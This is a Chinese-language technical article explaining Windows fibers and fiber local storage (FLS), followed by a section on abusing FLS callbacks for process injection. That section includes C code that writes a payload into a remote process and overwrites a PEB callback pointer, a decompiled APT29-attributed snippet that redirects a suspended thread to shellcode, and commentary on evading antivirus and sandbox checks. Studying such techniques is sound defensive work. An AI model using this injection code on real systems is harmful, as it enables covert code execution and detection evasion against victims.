纤程

https://learn.microsoft.com/en-us/windows/win32/procthread/fibers

纤程(fiber)是一种需要应用程序手动调度的执行单元,本质上是可以随意换入和换出的寄存器和堆栈状态,并反映在它们正在执行的线程上。纤程在调度它们的线程的上下文中运行。每个线程可以调度多个纤程。一般来说,纤程在设计良好的多线程应用程序中并不比线程提供优势。然而,使用纤程可以使将原本设计为调度自己线程的应用程序更容易移植。

从系统的角度来看,纤程执行的操作被视为由运行它的线程执行的操作。例如,如果一个纤程访问线程本地存储(TLS),它实际上是在访问运行它的线程的线程本地存储。此外,如果一个纤程调用了ExitThread函数,运行它的线程将退出。然而,纤程并不具有与线程关联的所有相同的状态信息。对于一个纤程而言,只有其堆栈、一部分寄存器以及在创建纤程时提供的纤程数据是维护的状态信息。保存的寄存器是通常在函数调用中被保留的一组寄存器。

纤程不是被抢占调度的。你可以通过从另一个纤程切换到它来调度一个纤程。系统仍然调度线程来运行。当运行纤程的线程被抢占时,当前运行的纤程被抢占但仍然被选择。当它所属的线程运行时,被选择的纤程也会运行。

在调度第一个纤程之前,调用ConvertThreadToFiber函数来创建一个保存纤程状态信息的区域。创建之后纤程可以创建和使用数据,这个指针存储在TEB->NtTib.FiberData中,是一个每线程结构。这在调用ConvertThreadToFiber时首次设置。调用线程现在成为当前执行的纤程。对于这个纤程,存储的状态信息包括作为参数传递给ConvertThreadToFiber的纤程数据。

使用CreateFiber函数可以从现有的纤程创建一个新的纤程;调用需要指定堆栈大小、起始地址和纤程数据。起始地址通常是一个用户提供的函数,称为纤程函数,它接受一个参数(纤程数据)并且不返回值。如果纤程函数返回,运行纤程的线程将退出。要执行使用CreateFiber创建的任何纤程,可以调用SwitchToFiber函数。可以使用不同线程调用CreateFiber时返回的地址调用SwitchToFiber,并且必须使用适当的同步机制。

纤程可以通过调用GetFiberData宏来检索纤程数据。纤程可以随时调用GetCurrentFiber宏来检索纤程地址。

void TestFiber() {  
PVOID lpFiberData = HeapAlloc(GetProcessHeap(), 0, 0x10);  
PVOID lpFirstFiber = NULL;  
memset(lpFiberData, 0x41, 0x10);   

lpFirstFiber = ConvertThreadToFiber(lpFiberData);  
DebugBreak(); 
}  

int main() {  
DWORD tid = 0;  
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TestFiber, 0, 0, &tid); 
WaitForSingleObject(hThread, INFINITE);  
return 0; 
}

线程和纤程

线程:是操作系统能够进行运算调度的最小单位。它被包含在进程之中,是进程中的实际运作单位。一个进程中可以并发多个线程,每个线程执行不同的任务。线程的调度和管理由操作系统负责。

纤程(Fiber):是一种轻量级的线程,它的调度必须由应用程序手动进行。纤维在一个线程内部运行,可以理解为线程内部的一个子任务。一个线程可以包含多个纤维,但在任何时刻,只有一个纤维在运行。纤维的切换由程序员通过API调用来控制,而不是由操作系统的调度器来控制。

纤程本地存储-FLS

纤程可以使用纤程本地存储(FLS)为每个纤程创建一个唯一的变量副本。如果没有进行纤程切换,FLS的行为与线程本地存储完全相同。FLS函数(FlsAlloc、FlsFree、FlsGetValue和FlsSetValue)用于操作与当前线程关联的FLS。如果线程正在执行一个纤程并且切换了纤程,FLS也会随之切换。

要清理与纤程关联的数据,可以调用DeleteFiber函数。这些数据包括堆栈、一部分寄存器和纤程数据。如果当前正在运行的纤程调用了DeleteFiber,它所属的线程会调用ExitThread并终止。然而,如果由另一个线程中运行的纤程删除了一个线程的选定纤程,那么具有已删除纤程的线程可能会异常终止,因为纤程堆栈已被释放。

除了光纤数据之外,光纤还可以访问光纤本地存储(FLS)。出于所有意图和目的,这与线程本地存储 (TLS)[2] 相同。这允许所有线程纤维通过全局索引访问共享数据。其 API 非常简单,与 TLS 非常相似。在下面的示例中,我们将分配一个索引并在其中放入一些值。

lpFirstFiber = ConvertThreadToFiber(lpFiberData); 
dwIdx = FlsAlloc(NULL); 
FlsSetValue(dwIdx, lpFiberData); 
DebugBreak();

TLS和FLS

TLS:是为每个线程提供一个独立的数据存储区域,每个线程都有自己的TLS,其他线程不能访问。这对于线程安全的编程非常有用,因为它可以避免全局变量的使用,从而减少线程间的数据竞争。

FLS:与TLS类似,但是它是为纤程提供的。每个纤维都有自己的FLS,其他纤程不能访问。这使得在一个线程内部的不同纤维之间可以有独立的数据存储。

 

ConvertThreadToFiber

将当前线程转换为纤程。必须先将线程转换为纤程,然后才能调度其他纤程。

LPVOID ConvertThreadToFiber(
[in, optional] LPVOID lpParameter   指向传递给纤程的变量的指针。
);

FlsAlloc

配光纤本地存储 (FLS) 索引。进程中的任何纤程随后都可以使用该索引来存储和检索纤程本地的值。

DWORD FlsAlloc(
[in] PFLS_CALLBACK_FUNCTION lpCallback   指向PFLS_CALLBACK_FUNCTION类型的应用程序定义回调函数的指针。
);

 

滥用FLS回调来获取执行控制

FLS提供了一种名为FlsAlloc的函数,用于分配一个新的FLS索引。这个函数的一个参数是一个回调函数,当纤程被删除,线程退出,或者FLS索引被释放时(FlsFree),这个回调函数会被调用。

// 定义了FlsCallbackOffset的值。这个值是PEB(Process Environment Block,进程环境块)中FlsCallback字段的偏移量。 
// 这个字段存储了FLS(Fiber Local Storage,纤维本地存储)回调函数的地址。64位和32位系统中这个偏移量的值是不同的。 
#ifdef _WIN64 #define FlsCallbackOffset 0x320 #else #define FlsCallbackOffset 0x20c #endif 

//dwNewAddr是新的FLS回调函数的地址,hProcess是目标进程的句柄 
void OverwriteFlsCallback(LPVOID dwNewAddr, HANDLE hProcess) { 

// 查询进程的信息 
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess"); 

const char *payload = "\xcc\xcc\xcc\xcc"; 
PROCESS_BASIC_INFORMATION pbi; 
SIZE_T sCallback = 0, sRetLen = 0;
LPVOID lpBuf = NULL; 

// 像平常一样分配内存并写入我们的有效负载 
lpBuf = VirtualAllocEx(hProcess, NULL, sizeof(SIZE_T), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
WriteProcessMemory(hProcess, lpBuf, payload, sizeof(SIZE_T), NULL); 

// 获取远程进程PEB地址 NtQueryInformationProcess(hProcess, PROCESSINFOCLASS(0), &pbi,sizeof(PROCESS_BASIC_INFORMATION), NULL); 

// 从PEB中读取FlsCallback字段的值,这是FLS回调函数的地址 
ReadProcessMemory(hProcess, (LPVOID)(((SIZE_T)pbi.PebBaseAddress) + FlsCallbackOffset), (LPVOID)&sCallback, sizeof(SIZE_T), &sRetLen); 

// 在Windows的FLS回调数组中,第一个元素是Kernel32!FlsSetValue,第二个元素是Kernel32!FlsGetValue,第三个元素是msvcrt!_freefls。所以这段代码实际上是在覆盖msvcrt!_freefls的地址。
// 当msvcrt!_freefls被调用时,它实际上会跳转到攻击者控制的代码,从而实现在远程进程中执行任意代码。这是一种常见的代码注入技术。 
sCallback += 2 * sizeof(SIZE_T); 

// 我们的目标是 _freefls 调用,因此用我们的有效负载地址覆盖它 
WriteProcessMemory(hProcess, (LPVOID)sCallback, &dwNewAddr, sizeof(SIZE_T), &sRetLen); }

APT29相关技术

这段代码的关键在于,它并没有直接创建一个新的线程来执行shellcode,而是通过修改线程的上下文和利用FLS回调来间接执行shellcode。这种技术可以用于执行任意代码,因此可以被用于进行攻击。然而,它也需要攻击者已经获得了足够的权限,才能修改线程的上下文和FLS回调函数的地址。

这种技术的优点是它可以规避一些反病毒(AV)和沙盒检测。这是因为这些检测工具可能会模拟对FlsAlloc的调用,并在遇到异常情况时返回失败或NULL。然而,由于这种技术并不直接调用shellcode,而是通过修改线程上下文和利用FLS回调来间接执行shellcode,因此它可能能够绕过这些检测。

 

【一些反病毒(AV)和沙盒检测工具可能会模拟对FlsAlloc的调用,以检测是否有恶意代码在尝试利用这个函数。这些工具可能会检查FlsAlloc的参数和返回值,以及调用FlsAlloc后的程序行为,来判断是否有恶意行为。

然而,这种技术并不直接调用shellcode,而是通过修改线程上下文和利用FLS回调来间接执行shellcode。这意味着,即使检测工具模拟了对FlsAlloc的调用,也只能看到正常的FlsAlloc调用行为,而看不到shellcode的执行。这是因为shellcode的执行是在FLS回调函数中进行的,而这个回调函数的调用是由操作系统在适当的时机(例如,纤维被删除或线程结束时)自动进行的,而不是由程序直接调用的。

因此,除非检测工具能够模拟整个线程的生命周期,包括纤维的创建和删除,以及FLS回调函数的调用,否则它们可能无法检测到这种技术。这就是为什么这种技术可能能够绕过一些反病毒和沙盒检测的原因。】

【这些工具检查FlsAlloc的参数的时候,不会发现RCX已经设置为shellcode地址了么】?

【在理想情况下,安全工具应该能够检测到这种修改。然而,实际上,这种检测可能并不那么容易实现。首先,FlsAlloc函数的参数并不直接包含shellcode的地址。FlsAlloc函数的参数是一个回调函数的地址,这个回调函数会在纤维被删除或线程结束时被调用。其次,shellcode的地址是通过修改线程上下文中的RCX寄存器的值来设置的。这个修改是在调用FlsAlloc函数之后进行的,因此,即使安全工具能够检测到对FlsAlloc函数的调用,也无法看到这个修改。最后,即使安全工具能够检测到RCX寄存器的值被修改,也可能无法确定这是否是恶意的。这是因为,RCX寄存器的值在程序执行过程中可能会被频繁地修改,而且这些修改大多数都是正常的程序行为。只有当RCX寄存器的值被设置为shellcode的地址,并且这个地址的代码被执行时,才能确定这是恶意的。因此,虽然理论上这种技术可以被检测,但在实际中可能需要更复杂的检测策略和技术。这就是为什么这种技术可能能够绕过一些反病毒和沙盒检测的原因。】

ntdll = GetModuleHandleA(&DAT_ntdll);
rtlFlsAlloc = GetProcAddress(ntdll,&DAT_RtlFlsAlloc);
if (rtfFlsAlloc != NULL){
hThread = CreateThread(NULL,0,rtlFlsAlloc,NULL,CREATE_SUSPENDED,NULL);//创建一个新的线程。线程的入口函数是RtlFlsAlloc,并且这个线程被创建为挂起状态 

if (hThread != NULL){ threadContext.ContextFlags = CONTEXT_FULL; retVal = GetThreadcontext(hThread,&threadContext);//获取这个新线程的上下文。线程的上下文包含了线程的所有寄存器的值 

if (retVal !=0){ threadContext.RCX = shellcode;// 修改线程上下文中的RCX寄存器的值,将其设置为shellcode的地址。在64位Windows系统中,RCX寄存器用于存储函数的第一个参数。这个参数就是rtlFlsAlloc的第一个参数 

retVal = SetThreadCONtext(hThread,&threadContext); if (retVal != 0){ ResumeThread(hThread);//代码恢复线程的执行。这样,当线程开始执行RtlFlsAlloc函数时,它实际上会执行shellcode。 

goto LAB_6b701f98; } } hThread = NULL; goto LAB_64701f9b; } }